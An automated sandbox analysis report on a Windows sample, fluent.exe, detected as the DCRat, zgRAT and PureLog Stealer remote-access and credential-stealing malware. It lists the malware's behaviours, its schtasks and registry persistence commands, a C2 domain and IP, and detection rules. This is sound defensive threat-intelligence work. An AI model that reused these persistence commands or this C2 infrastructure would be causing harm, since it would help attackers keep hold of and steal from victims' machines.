Edit tour

Windows Analysis Report
fluent.exe

Overview

General Information

Sample name:	fluent.exe
Analysis ID:	1499273
MD5:	210e4ac30ab0f880161088551aa8519e
SHA1:	fcf6c74a63923d65a73b81f3fe8f013c353ef123
SHA256:	9fe7ab728b99e57684a89e35bad47100de9d7ad0ad0ca04253ba1d211f584a81
Tags:	exe
Infos:

Detection

DCRat, PureLog Stealer, zgRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected DCRat

Yara detected PureLog Stealer

Yara detected zgRAT

AI detected suspicious sample

Creates an autostart registry key pointing to binary in C:\Windows

Creates an undocumented autostart registry key

Creates multiple autostart registry keys

Creates processes via WMI

Drops executables to the windows directory (C:\Windows) and starts them

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Infects executable files (exe, dll, sys, html)

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file has nameless sections

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to harvest and steal browser information (history, passwords, etc)

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Uses schtasks.exe or at.exe to add and modify task schedules

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Compiles C# or VB.Net code

Contains functionality to call native functions

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Creates files inside the system directory

Deletes files inside the Windows folder

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

File is packed with WinRar

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: CurrentVersion NT Autorun Keys Modification

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

fluent.exe (PID: 7408 cmdline: "C:\Users\user\Desktop\fluent.exe" MD5: 210E4AC30AB0F880161088551AA8519E)

wscript.exe (PID: 7500 cmdline: "C:\Windows\System32\WScript.exe" "C:\comReviewintocommon\TWlWAN2ryscXhu39ZLKnk88Wy4VE5T41kI6bFa9kkkqSh.vbe" MD5: FF00E0480075B095948000BDC66E81F0)

cmd.exe (PID: 7796 cmdline: C:\Windows\system32\cmd.exe /c ""C:\comReviewintocommon\YnzAdQrUUt8.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7804 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

driverSavesNet.exe (PID: 7840 cmdline: "C:\comReviewintocommon/driverSavesNet.exe" MD5: F5C25B9C7F555EE1D53CE4A530C475C8)

schtasks.exe (PID: 7924 cmdline: schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQg" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7948 cmdline: schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQ" /sc ONLOGON /tr "'C:\Program Files (x86)\microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7972 cmdline: schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQg" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

csc.exe (PID: 7988 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\jzqywwbr\jzqywwbr.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

conhost.exe (PID: 7996 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cvtres.exe (PID: 8048 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESD287.tmp" "c:\Windows\System32\CSCBCBDE6D48A2D4BDA8A90105531C410CA.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

schtasks.exe (PID: 8112 cmdline: schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQg" /sc MINUTE /mo 10 /tr "'C:\Users\Default\Application Data\gNKaMdWfDFzDkhEeKzQ.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 8144 cmdline: schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQ" /sc ONLOGON /tr "'C:\Users\Default\Application Data\gNKaMdWfDFzDkhEeKzQ.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 8168 cmdline: schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQg" /sc MINUTE /mo 7 /tr "'C:\Users\Default\Application Data\gNKaMdWfDFzDkhEeKzQ.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7196 cmdline: schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQg" /sc MINUTE /mo 11 /tr "'C:\Users\Default\Recent\gNKaMdWfDFzDkhEeKzQ.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 1804 cmdline: schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQ" /sc ONLOGON /tr "'C:\Users\Default\Recent\gNKaMdWfDFzDkhEeKzQ.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6108 cmdline: schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQg" /sc MINUTE /mo 13 /tr "'C:\Users\Default\Recent\gNKaMdWfDFzDkhEeKzQ.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 4416 cmdline: schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQg" /sc MINUTE /mo 13 /tr "'C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 5016 cmdline: schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQ" /sc ONLOGON /tr "'C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 3452 cmdline: schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQg" /sc MINUTE /mo 14 /tr "'C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 1696 cmdline: schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQg" /sc MINUTE /mo 14 /tr "'C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7360 cmdline: schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQ" /sc ONLOGON /tr "'C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 4480 cmdline: schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQg" /sc MINUTE /mo 10 /tr "'C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 3288 cmdline: schtasks.exe /create /tn "driverSavesNetd" /sc MINUTE /mo 11 /tr "'C:\comReviewintocommon\driverSavesNet.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7256 cmdline: schtasks.exe /create /tn "driverSavesNet" /sc ONLOGON /tr "'C:\comReviewintocommon\driverSavesNet.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7492 cmdline: schtasks.exe /create /tn "driverSavesNetd" /sc MINUTE /mo 9 /tr "'C:\comReviewintocommon\driverSavesNet.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 7484 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\RJ4yfxqn4J.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7464 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 7400 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

PING.EXE (PID: 5800 cmdline: ping -n 10 localhost MD5: 2F46799D79D22AC72C241EC0322B011D)

gNKaMdWfDFzDkhEeKzQ.exe (PID: 7948 cmdline: "C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe" MD5: F5C25B9C7F555EE1D53CE4A530C475C8)

gNKaMdWfDFzDkhEeKzQ.exe (PID: 8040 cmdline: "C:\Program Files (x86)\microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe" MD5: F5C25B9C7F555EE1D53CE4A530C475C8)

gNKaMdWfDFzDkhEeKzQ.exe (PID: 8076 cmdline: "C:\Program Files (x86)\microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe" MD5: F5C25B9C7F555EE1D53CE4A530C475C8)

driverSavesNet.exe (PID: 5720 cmdline: C:\comReviewintocommon\driverSavesNet.exe MD5: F5C25B9C7F555EE1D53CE4A530C475C8)

driverSavesNet.exe (PID: 1196 cmdline: C:\comReviewintocommon\driverSavesNet.exe MD5: F5C25B9C7F555EE1D53CE4A530C475C8)

gNKaMdWfDFzDkhEeKzQ.exe (PID: 7848 cmdline: "C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe" MD5: F5C25B9C7F555EE1D53CE4A530C475C8)

driverSavesNet.exe (PID: 7180 cmdline: "C:\comReviewintocommon\driverSavesNet.exe" MD5: F5C25B9C7F555EE1D53CE4A530C475C8)

gNKaMdWfDFzDkhEeKzQ.exe (PID: 2128 cmdline: "C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe" MD5: F5C25B9C7F555EE1D53CE4A530C475C8)

driverSavesNet.exe (PID: 4480 cmdline: "C:\comReviewintocommon\driverSavesNet.exe" MD5: F5C25B9C7F555EE1D53CE4A530C475C8)

gNKaMdWfDFzDkhEeKzQ.exe (PID: 7408 cmdline: "C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe" MD5: F5C25B9C7F555EE1D53CE4A530C475C8)

driverSavesNet.exe (PID: 6524 cmdline: "C:\comReviewintocommon\driverSavesNet.exe" MD5: F5C25B9C7F555EE1D53CE4A530C475C8)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Name	Description	Attribution	Blogpost URLs	Link
zgRAT	zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.	No Attribution	https://bazaar.abuse.ch/browse/signature/zgRAT/ https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/ https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
fluent.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
fluent.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\comReviewintocommon\driverSavesNet.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\comReviewintocommon\driverSavesNet.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 7 entries

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1674120767.00000000071D1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000005.00000000.1862359118.0000000000632000.00000002.00000001.01000000.0000000A.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000B.00000002.2925956771.0000000003327000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
0000000B.00000002.2951537951.0000000013331000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000005.00000002.1920002113.0000000012C8B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000000.00000003.1674814949.0000000007AE8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000B.00000002.2925956771.0000000003544000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: driverSavesNet.exe PID: 7840	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: gNKaMdWfDFzDkhEeKzQ.exe PID: 8040	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: gNKaMdWfDFzDkhEeKzQ.exe PID: 8076	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author
0.3.fluent.exe.730f4fb.0.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.3.fluent.exe.730f4fb.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.3.fluent.exe.7c264fb.1.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.3.fluent.exe.7c264fb.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
5.0.driverSavesNet.exe.630000.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
5.0.driverSavesNet.exe.630000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.3.fluent.exe.730f4fb.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.3.fluent.exe.730f4fb.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.3.fluent.exe.7c264fb.1.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.3.fluent.exe.7c264fb.1.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 5 entries

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ProcessId: 7988, TargetFilename: c:\Windows\System32\SecurityHealthSystray.exe

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: "C:\Users\Default\Application Data\gNKaMdWfDFzDkhEeKzQ.exe", EventID: 13, EventType: SetValue, Image: C:\comReviewintocommon\driverSavesNet.exe, ProcessId: 7840, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\gNKaMdWfDFzDkhEeKzQ

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Program Files (x86)\microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe", EventID: 13, EventType: SetValue, Image: C:\comReviewintocommon\driverSavesNet.exe, ProcessId: 7840, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\gNKaMdWfDFzDkhEeKzQ

Sigma detected: CurrentVersion NT Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: explorer.exe, "C:\Program Files (x86)\microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe", EventID: 13, EventType: SetValue, Image: C:\comReviewintocommon\driverSavesNet.exe, ProcessId: 7840, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\jzqywwbr\jzqywwbr.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\jzqywwbr\jzqywwbr.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\comReviewintocommon/driverSavesNet.exe", ParentImage: C:\comReviewintocommon\driverSavesNet.exe, ParentProcessId: 7840, ParentProcessName: driverSavesNet.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\jzqywwbr\jzqywwbr.cmdline", ProcessId: 7988, ProcessName: csc.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\comReviewintocommon\TWlWAN2ryscXhu39ZLKnk88Wy4VE5T41kI6bFa9kkkqSh.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\comReviewintocommon\TWlWAN2ryscXhu39ZLKnk88Wy4VE5T41kI6bFa9kkkqSh.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\fluent.exe", ParentImage: C:\Users\user\Desktop\fluent.exe, ParentProcessId: 7408, ParentProcessName: fluent.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\comReviewintocommon\TWlWAN2ryscXhu39ZLKnk88Wy4VE5T41kI6bFa9kkkqSh.vbe" , ProcessId: 7500, ProcessName: wscript.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\comReviewintocommon\driverSavesNet.exe, ProcessId: 7840, TargetFilename: C:\Users\user\AppData\Local\Temp\jzqywwbr\jzqywwbr.cmdline

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\jzqywwbr\jzqywwbr.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\jzqywwbr\jzqywwbr.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\comReviewintocommon/driverSavesNet.exe", ParentImage: C:\comReviewintocommon\driverSavesNet.exe, ParentProcessId: 7840, ParentProcessName: driverSavesNet.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\jzqywwbr\jzqywwbr.cmdline", ProcessId: 7988, ProcessName: csc.exe

Suricata Signatures

ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) - Source IP: 192.168.2.4 - Destination IP: 80.211.144.156

Timestamp:	2024-08-26T20:16:32.024235+0200
SID:	2048095
Severity:	1
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: fluent.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://373292cm.nyashka.top	Avira URL Cloud: Label: malware
Source: http://373292cm.nyashka.top/	Avira URL Cloud: Label: malware
Source: http://373292cm.nyashka.top/JavascriptSecureSqlLocalTemporary.php	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\Desktop\VbfYWdkt.log	Avira: detection malicious, Label: TR/PSW.Agent.qngqt
Source: C:\Users\user\AppData\Local\Temp\RJ4yfxqn4J.bat	Avira: detection malicious, Label: BAT/Delbat.C
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\user\Desktop\LtLImAfM.log	Avira: detection malicious, Label: HEUR/AGEN.1300079
Source: C:\comReviewintocommon\TWlWAN2ryscXhu39ZLKnk88Wy4VE5T41kI6bFa9kkkqSh.vbe	Avira: detection malicious, Label: VBS/Runner.VPG
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\user\Desktop\xGvCnmjD.log	Avira: detection malicious, Label: TR/PSW.Agent.qngqt
Source: C:\Users\user\Desktop\gzfXUzEp.log	Avira: detection malicious, Label: HEUR/AGEN.1300079
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\comReviewintocommon\driverSavesNet.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342

Multi AV Scanner detection for dropped file

Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	ReversingLabs: Detection: 52%
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	ReversingLabs: Detection: 52%
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\gNKaMdWfDFzDkhEeKzQ.exe	ReversingLabs: Detection: 52%
Source: C:\Users\Default\AppData\Roaming\gNKaMdWfDFzDkhEeKzQ.exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\Desktop\QOjHvYIG.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\VLAgkoJG.log	ReversingLabs: Detection: 29%
Source: C:\Users\user\Desktop\VbfYWdkt.log	ReversingLabs: Detection: 70%
Source: C:\Users\user\Desktop\maBeiKPb.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\tgjDTeKx.log	ReversingLabs: Detection: 29%
Source: C:\Users\user\Desktop\xGvCnmjD.log	ReversingLabs: Detection: 70%
Source: C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe	ReversingLabs: Detection: 52%
Source: C:\comReviewintocommon\driverSavesNet.exe	ReversingLabs: Detection: 52%

Multi AV Scanner detection for submitted file

Source: fluent.exe

ReversingLabs: Detection: 68%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\Desktop\VbfYWdkt.log	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\XWWhkGoH.log	Joe Sandbox ML: detected
Source: C:\Windows\System32\SecurityHealthSystray.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\kDbNjluP.log	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\xGvCnmjD.log	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Joe Sandbox ML: detected
